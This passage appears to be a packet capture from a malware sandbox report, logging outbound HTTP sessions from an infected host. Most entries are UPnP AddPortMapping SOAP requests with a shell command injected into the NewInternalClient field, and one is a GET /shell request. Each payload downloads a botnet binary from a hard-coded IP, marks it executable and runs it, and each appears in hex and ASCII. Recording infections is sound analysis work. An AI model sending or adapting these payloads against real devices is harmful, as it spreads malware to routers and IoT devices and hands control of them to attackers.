                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      110192.168.2.1541010160.141.72.1825501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:58.175271034 CET273OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      111192.168.2.153621845.33.255.14952869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:58.488143921 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      112192.168.2.154974445.121.82.16452869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:58.641711950 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:02.873001099 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:09.016779900 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:21.048378944 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:46.135807037 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      113192.168.2.1543278185.241.254.12552869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:58.687922001 CET971OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 